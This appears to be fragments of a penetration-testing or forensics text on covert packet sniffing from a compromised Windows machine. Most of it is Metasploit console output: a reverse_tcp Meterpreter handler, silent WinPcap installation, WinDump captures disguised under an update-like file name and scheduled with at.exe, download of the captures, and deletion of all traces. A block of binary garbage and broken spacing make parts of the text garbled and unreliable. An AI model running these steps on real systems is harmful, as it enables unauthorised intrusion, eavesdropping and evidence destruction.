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HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control \Class\{4D36E972-
E325-11CE-BFC1-08002BE10318}\00xx 
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0 – disabled (strip 802.1q tags) 
1 – enabled  (do not strip 802.1q tags)  
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0 – disabled (strip 802.1q tags) 
1 – enabled  (do not strip 802.1q tags) 
2 – enabled strip vlan (strip 802.1q tags)  

�

9��#�
���������
���$���������*��	�����(�)�����
��
�� $�,!-�(.�
���2����
��
�
����	���$����
�

��$
	��������	�����
���,!-�(.����������������
�
��
�� ����������9������������
����������
��


���������
��
������.	�����
����#��
�
����=�
�
��I� ���
����=�
�
������
	$�$��$���=����


���������$
	�������������
���������=�����
���,!-�( .���������������
����#�����������


���
���������$
	������
�@%��A����
����������
����� �*��������
��
��$$����
���,!-�(.�

���������K��
��-(�����������
�����
���=�)�(2����
�� ���
����
��������
��
������������

���%C����$�=����/0%1�-!��

����������
���
�����
�
�	�����������

���$��8
��
�� ��������������/�9����
����������

�������
��������
��
����
����
�����
�����������
�	� 
	���������*����$��*�������



�
�

9��������
��������	����������
��
�����
����������	�� ���
���������<��
������$�#���
�����
���


��
�����
����
	$�
�����
�������
����������
��
��
� #�������
���������
����*����#���

/0%1������
����������
�����
����
��������
��
�)/0%1�9 ��-!2�����������#�������=�

����
$����������
�
�����*+�*��
	���
�������	�����
� ��,!-�(.�/0%1��
$��
��
�
����

����0��	7�)*������2� ;"����
��*����#��������*+�#=�� ���	�
��%�
�����������������7
���
�����

������
$������*��������4��������������
���0��	7����� ���,!-�(.�
��	���),!-(.2��������

���������	����
�����
�������
�������)�
�!2������
�
 #������/0%1�-!F��

 
# modprobe 8021q  
# cd vlan 
# ./vconfig add eth0 20 
# ifconfig eth0.20 up 
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C:\Scylla> rundll32.exe zipfldr.dll,RouteTheCall nm ap-4.85BETA9-win32.zip 
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... 
[*] Transmitting intermediate stager for over-sized  stage...(191 bytes) 
[*] Sending stage (2650 bytes) 
[*] Sleeping before handling stage... 
[*] Uploading DLL (75787 bytes)... 
[*] Upload completed.  
[*] Meterpreter session 1 opened (hacking:443 -> ge neral-desktop:1705)  
 
msf exploit(handler) > sessions -i 1 
[*] Starting interaction with 1...  
 
meterpreter > getuid 
Server username: GENERAL-DESKTOP\Administrator 
meterpreter > sysinfo 
Computer: GENERAL-DESKTOP 
OS      : Windows Vista (Build 6002, Service Pack 2 ). 
meterpreter > pwd 
C:\ 
meterpreter > cd Scylla 
meterpreter > ls  
 
Listing: C:\Scylla 
==================  
 
Mode              S ize     Type  Last modified                   Name           
----              ----     ----  -------------                   ----            
40777/rwxrwxrwx   0        dir   Sun May 17 10:29:0 9 - 0900 2009  .              
40777/rwxrwxrwx   0        dir   Sun May 17 10:29:0 9 - 0900 2009  ..             
100777/rwxrwxrwx  569344   fil   Sun May 17 10:29:0 9 - 0900 2009  WinDump.exe    
100666/rw-rw-rw-  6783750  fil   Sun May 17 10:29:0 9 -0900 2009  nmap- 
4.85BETA9-win32.zip  
 
meterpreter > 
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meterpreter > lpwd 
/pentest/exploits/framework3 
meterpreter > lcd /root 
meterpreter > upload 7za.exe  
[*] uploading  : 7za.exe -> 7za.exe 
[*] uploaded   : 7za.exe -> 7za.exe 
meterpreter > ls 
... 
100777/rwxrwxrwx  536064   fil   Sun May 17 19:29:0 9 - 0900 2009  7za.exe        
... 
meterpreter > 
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meterpreter > execute –H -f C:/Scylla/7za.exe -a "e nmap-4.85BETA 9-win32.zip 
nmap-4.85BETA9/winpcap-nmap-4.02.exe"  
Process 1056 created. 
 
meterpreter > ls 
... 
100777/rwxrwxrwx  391516   fil   Sun May 17 19:30:0 9 -0900 2009  winpcap-
nmap-4.02.exe 
... 
meterpreter >  
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meterpreter > execute –H -f winpcap-nmap-4.02.exe -a "/S"  
Process 708 created. 
 
meterpreter > ls "C:/Program Files/Winpcap"  
 
Listing: C:/Program Files/Winpcap 
================================= 
 
Mode              Size   Type  Last modified                   Name 
----              ----   ----  -------------                   ---- 
40777/rwxrwxrwx   0      dir   Sun May 17 19:31:09 -0900 2009  . 
40555/r-xr-xr-x   0      dir   Sun May 17 19:31:09 -0900 2009  .. 
100666/rw-rw-rw-  13613  fil   Sun May 17 19:31:09 -0900 2009  LICENSE 
100777/rwxrwxrwx  92792  fil   Sun May 17 19:31:09 -0900 2009  rpcapd.exe 
100777/rwxrwxrwx  59575  fil   Sun May 17 19:31:09 -0900 2009  uninstall.exe 
 
meterpreter > 
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meterpreter > execute –H -f WinDump.exe -a "-D" -i  
Process 840 created. 
Channel 1 created. 
1.\Device\NPF_GenericDialupAdapter (Adapter for gen eric dialup and VPN 
capture) 
2.\Device\NPF_{33A88C60-DCA6-4257-84A9-96487FDF6047 } (VMware Accelerated AMD 
PCNet Adapter (Microsoft's Packet Scheduler) ) 
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meterpreter > execute –H -c -f WinDump.exe -a "-D"  
Process 3364 created. 
Channel 2 created. 
meterpreter > channel -l  
 
    Id  Class  Type 
    --  -----  ---- 
    2   3      stdapi_process 
 
meterpreter > read 2  
Read 179 bytes from 2: 
 
1.\Device\NPF_{21D22FCB-2FB4-4253-A285-89F81190A674 } (Intel(R) PRO/1000 MT 
Network Connection) 
2.\Device\NPF_{860A39C0-61D7-4D3B-B59E-20B660B5FB5F } (MS Tunnel Interface 
Driver) 
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meterpreter > execute -H -f WinDump.exe -a "-i1 -n -U -s0 -C 10 - c 200000 -w 
KB961260.log"  
Process 780 created. 
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meterpreter > execute -H -f at.exe -a "09:00AM C:/Scylla/WinDump. exe -i1 -n -
U -s0 -C 10 -c 200000 -w C:/Scylla/KB961260.log"  
Process 3692 created. 
 
meterpreter > execute -c -H -f at.exe 
Process 3744 created. 
Channel 17 created. 
 
 



meterpreter > read 17  
Read 242 bytes from 17: 
 
Status ID   Day                     Time          C ommand Line 
--------------------------------------------------- ---------------------------- 
        1   Tomorrow                9:00          "  C:/Scylla/WinDump.exe -i1 -n -U -
s0 -C 10 -c 200000 C:/Scylla/KB961260.log" 
 
meterpreter > 
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meterpreter > ls 
 
Listing: C:\Scylla 
================== 
 
Mode              Size     Type  Last modified                   Name            
----              ----     ----  -------------                   ----            
40777/rwxrwxrwx   0        dir   Sun May 18 09:01:0 0 -0900 2009  .               
40777/rwxrwxrwx   0        dir   Sun May 18 09:01:0 0 -0900 2009  ..              
100777/rwxrwxrwx  536064   fil   Sun May 17 19:29:0 9 -0900 2009   7za.exe         
100777/rwxrwxrwx  569344   fil   Sun May 17 10:29:0 9 -0900 2009  WinDump.exe     
100666/rw-rw-rw-  16986    fil   Sun May 18 09:01:0 0 -0900 2009  KB961260.log    
100666/rw-rw-rw-  6783750  fil   Sun May 17 10:29:0 9 -0900 2009  nmap-4.85BETA9-
win32.zip 
100777/rwxrwxrwx  391516   fil   Sun May 17 19:30:0 9 -0900 2009   winpcap-nmap-4.02.exe 
 
meterpreter >    
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meterpreter > ls 
 
Listing: C:\Scylla 
================== 
 
Mode              Size      Type  Last modified                   Name           
----              ----      ----  -------------                   ----           
40777/rwxrwxrwx   0        dir   Sun May 18 09:30:0 0 -0900 2009  .               
40777/rwxrwxrwx   0        dir   Sun May 18 09:30:0 0 -0900 2009  ..              
100777/rwxrwxrwx  536064   fil   Sun May 17 19:29:0 9 -0900 2009  7za.exe         
100777/rwxrwxrwx  569344   fil   Sun May 17 10:29:0 9 -0900 2009  WinDump.exe     
100666/rw-rw-rw-  10000574  fil   Sun May 18 09:01: 00 -0900 2009 KB961260.log      <-- 
100666/rw-rw-rw-  10000103  fil   Sun May 18 09:10: 00 -0900 2009 KB961260.log1 
100666/rw-rw-rw-  10000068  fil   Sun May 18 09:20: 00 -0900 2009 KB961260.log2  



100666/rw-rw-rw-  1838508   fil   Sun May 18 09:30: 00 -0900 2009 KB961260.log3  
100666/rw-rw-rw-  6783750  fil   Sun May 17 10:29:0 9 -0900 2009  nmap-4.85BETA9-
win32.zip 
100777/rwxrwxrwx  391516   fil   Sun May 17 19:30:0 9 -0900 2009  winpcap-nmap-4.02.exe 
 
meterpreter > 
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meterpreter > execute –H -f WinDump.exe -a "-n -r KB961260.log -c  50 tcp port 
80" -i 
Process 760 created. 
Channel 3 created. 
 
09:01:34.865507 IP 10.10.10.91.1664 > 10.10.20.94.8 0: S 3973779574:3973779574(0) win 
64240 <mss 1460,nop,nop,sackOK> 
09:01:34.868208 IP 10.10.20.94.80 > 10.10.10.91.166 4: S 3159208505:3159208505(0) ack 
3973779575 win 5840 <mss 1460,nop,nop,sackOK> 
09:01:34.871203 IP 10.10.10.91.1664 > 10.10.20.94.8 0: . ack 1 win 64240 
10:18:34.928218 IP 10.10.10.91.1664 > 10.10.20.94.8 0: P 1:390(389) ack 1 win 64240 
09:01:34.928547 IP 10.10.20.94.80 > 10.10.10.91.166 4: . ack 390 win 6432 
... 
reading from file KB961260.log, link-type EN10MB (E thernet) 
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meterpreter > lpwd 
/root 
meterpreter > download KB961260.log  
[*] downloading: KB961260.log -> KB961260.log 
[*] downloaded : KB961260.log -> KB961260.log 
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# pwd 
/root 
# ls -l KB961260.log 
-rw-r--r-- 1 root root 10000574  May 18 09:37 KB961260.log 
# tcpdump -n -r KB961260.log -c 2  
reading from file KB961260.log, link-type EN10MB (E thernet) 
09:01:23.009938 IP 10.10.10.90 > 10.10.20.94: ICMP echo request, id 1, seq 
630, length 40 
09:01:23.010173 IP 10.10.20.94 > 10.10.10.90: ICMP echo reply, id 1, seq 630, 
length 40 
#           
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meterpreter > pwd 
C:\Scylla 
meterpreter > cd "C:/Program Files/Winpcap"  
meterpreter > pwd 
C:\Program Files\Winpcap 
meterpreter > ls  
 
Listing: C:\Program Files\Winpcap 
================================= 
 
Mode              Size   Type  Last modified                   Name 
----              ----   ----  -------------                   ---- 
40777/rwxrwxrwx   0      dir   Sun May 17 19:31:09 -0900 2009  . 
40555/r-xr-xr-x   0      dir   Sun May 17 19:31:09 -0900 2009  .. 
100666/rw-rw-rw-  13613  fil   Sun May 17 19:31:09 -0900 2009  LICENSE 
100777/rwxrwxrwx  92792  fil   Sun May 17 19:31:09 -0900 2009  rpcapd.exe 
100777/rwxrwxrwx  59575  fil   Sun May 17 19:31:09 -0900 2009  uninstall.exe 
 
meterpreter > execute –H -f uninstall.exe -a “/S” 
Process 820 created. 
meterpreter > cd ..  
meterpreter > rmdir Winpcap  
Removing directory: Winpcap 
meterpreter >             
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meterpreter > pwd 
C:\Scylla 
meterpreter > execute -H -f cmd.exe -a "/C del /S /Q *.*"  
Process 3900 created. 
Channel 4 created. 
meterpreter > ls  
 
Listing: C:\Scylla 
================== 
 
Mode             Size  Type  Last modified                   Name 
----             ----  ----  -------------                   ---- 
40777/rwxrwxrwx  0     dir   Sun May 18 09:30:00 -0 900 2009  .               
40777/rwxrwxrwx  0     dir   Sun May 18 09:30:00 -0 900 2009  ..              
 
meterpreter > cd ..  
meterpreter > rmdir Scylla  
Removing directory: Scylla 
meterpreter >                                               
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User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0 ; 
SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NE T CLR 
3.0.04506) 
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GET /  HTTP/1.1  
... 
Host: www.scyllacodes.com  
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Server: Apache/2.2.8 (Unix)  mod_ssl/2.2.8 OpenSSL/0.9.8g DAV/2 
PHP/5.2.9  
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<html> 
<head> 
<meta http-equiv="content-type" content="text/html;  charset=UTF-8"> 
<title>The Company</title> 
</head> 
 
<body bgcolor=#ffffff text=#000000 link=#0000cc vli nk=#551a8b 
alink=#ff0000 topmargin=3 marginheight=3> 
<center> 
 
<br clear=all> 
<a href=" ./file.zip "><img src=" ./logos/TheCompany.gif " border=0 
alt="The Company" title="The Company"></a> 
<br><br> 
 
<p align=center> 
<form action="./code.php"  name="code" method= POST> 
<table cellpadding=0 cellspacing=0> 
<tr valign=top><td align=center nowrap> 
<input  autocomplete="off" maxlength=32 name=code  size=55 title="Enter 
Code" value=""><br> 
<input type=submit value="Submit Code"> 
</td></tr> 
</table></form> 
<br> 
 
<p><font size=-2>&copy;2009 - <a 
href=" http://voip.scyllacodes.com/privacy.html ">Privacy</a></font></p> 
 
</center> 
</body> 
</html> 
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POST /code.php HTTP/1.1  
Accept: image/gif, image/x-xbitmap, image/jpeg, ima ge/pjpeg, 
application/x-ms-application, application/vnd.ms-xp sdocument, 
application/xaml+xml, application/x-ms-xbap, */* 
Referer: https://www.scyllacodes.com/ 
Accept-Language: es 
Content-Type: application/x-www-form-urlencoded 
UA-CPU: x86 
Accept-Encoding: gzip, deflate 
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Wind ows NT 6.0; 
SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NE T CLR 
3.0.04506) 
Host: www.scyllacodes.com 
Content-Length: 37 
Connection: Keep-Alive 
Cache-Control: no-cache 
 
code=6189db841f01413a05a53b7135137a17  
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<html> 
<head> 
<meta http-equiv="content-type" content="text/html;  charset=UTF-8"> 
<title>Scylla</title> 
</head> 
 
<body bgcolor=#ffffff text=#000000 link=#0000cc vli nk=#551a8b 
alink=#ff0000 topmargin=3 marginheight=3> 
<center> 
 
<br clear=all> 
<a href=" ./logs.php "><img src=" ./logos/Scylla.gif " border=0 
alt="Scylla" title="Scylla"></a> 
<br><br> 
 
<p align=center> 
<table cellpadding=0 cellspacing=0> 
<tr valign=top><td align=center nowrap> 
 
<font size=3 color=green> 
<b>VERIFICATION OK: The code (6189db841f01413a05a53b71 35137a17) is 
valid! </b> 
</font> 
<p><a href=" ./logs.php ">The code has been logged (214 bytes)...</a> 
 
</td></tr> 
</table> 
<br> 
 
<p><font size=-2>&copy;2009 - <a 
href=" http://voip.scyllacodes.com/privacy.html ">Privacy</a></font></p> 
 
</center> 
</body> 
</html> 
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$ echo -n http://www.whitehouse.gov/robots.txt  | md5sum 
6189db841f01413a05a53b7135137a17  - 
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# ./msfconsole 
 
                _                  _       _ _ 
               | |                | |     (_) | 
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_ 
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __| 
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_ 
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__| 
                            | | 
                            |_| 
 
       =[ msf v3.3-dev [core:3.3 api:1.0] 
+ -- --=[ 403 exploits - 248 payloads 
+ -- --=[ 21 encoders - 8 nops 
       =[ 188 aux 
 
msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpre ter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp 
msf exploit(handler) > set LHOST 192.168.1.17 
LHOST => 192.168.1.17 
msf exploit(handler) > set LPORT 443 
LPORT => 443 
msf exploit(handler) > set ExitOnSession false 
ExitOnSession => false 
msf exploit(handler) > exploit -j 
[*] Exploit running as background job. 
msf exploit(handler) > 
[*] Handler binding to LHOST 0.0.0.0 
[*] Started reverse handler 
[*] Starting the payload handler...              <--  Waiting for a connection  
 
[*] Sending stage (719360 bytes) 
[*] Meterpreter session 1 opened (192.168.1.17:443 -> 10.10.10.90:49157) 
 
msf exploit(handler) > sessions -l 
 
Active sessions 
=============== 



 
  Id  Description  Tunnel 
  --  -----------  ------ 
  1   Meterpreter  192.168.1.17:443 -> 10.10.10.90: 49157 
 
msf exploit(handler) > sessions -i 1 
[*] Starting interaction with 1... 
 
meterpreter > 
meterpreter > use sniffer  
Loading extension sniffer...success. 
 
meterpreter > help 
... 
Sniffer Commands 
================ 
 
    Command             Description 
    -------             ----------- 
    sniffer_dump        Retrieve captured packet da ta to PCAP file 
    sniffer_interfaces  Enumerate all sniffable net work interfaces 
    sniffer_start       Start packet capture on a s pecific interface 
    sniffer_stats       View statistics of an activ e capture 
    sniffer_stop        Stop packet capture on a sp ecific interface 
 
meterpreter > sniffer_interfaces  
 
1 - 'Intel(R) PRO/1000 MT Network Connection' ( typ e:0 mtu:1514 usable:true 
dhcp:false wifi:false ) 
2 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1 514 usable:true dhcp:false 
wifi:false ) 
 
meterpreter > sniffer_start 1 100000  
[*] Capture started on interface 1 (100000 packet b uffer) 
 
meterpreter > sniffer_stats 1  
[*] Capture statistics for interface 1 
        bytes: 1388 
        packets: 20 
 
meterpreter > sniffer_dump 1 /tmp/capture.pcap  
[*] Flushing packet capture buffer for interface 1. .. 
[*] Flushed 23 packets  (2208 bytes) 
[*] Downloaded 100% (2208/2208)... 
[*] Download completed, converting to PCAP... 
[*] PCAP file written to /tmp/capture.pcap 
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meterpreter > sniffer_stats 1  
[*] Capture statistics for interface 1 
        bytes: 1490 
        packets: 22 
 
meterpreter > sniffer_dump 1 /tmp/capture.pcap  
[*] Flushing packet capture buffer for interface 1. .. 
[*] Flushed 22 packets  (1930 bytes) 
[*] Downloaded 100% (1930/1930)... 
[*] Download completed, converting to PCAP... 
[*] PCAP file written to /tmp/capture.pcap 
 
meterpreter > sniffer_stop 1  
[*] Capture stopped on interface 1 
meterpreter > 
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# cd /tmp 
# ls -l capture.pcap 
-rw-r--r-- 1 root root 2140 Sep 17 23:02 capture.pc ap 
 
# capinfos capture.pcap 
File name: capture.pcap 
File type: Wireshark/tcpdump/... - libpcap 
File encapsulation: Ethernet 
Number of packets: 23 
File size: 2140 bytes 
Data size: 1748 bytes 
Capture duration: 38.000000 seconds 
Start time: Thu Sep 17 23:01:43 2009 
End time: Thu Sep 17 23:02:21 2009 
Data rate: 46.00 bytes/s 
Data rate: 368.00 bits/s 
Average packet size: 76.00 bytes 
 
# ls -l capture.pcap 
-rw-r--r-- 1 root root 3982 Sep 17 23:03 capture.pc ap 
 
# capinfos capture.pcap 
... 
Number of packets: 45                                        <-- 23 + 22 = 45 
File size: 3982 bytes 
Data size: 3238 bytes 
Capture duration: 91.000000 seconds 
... 
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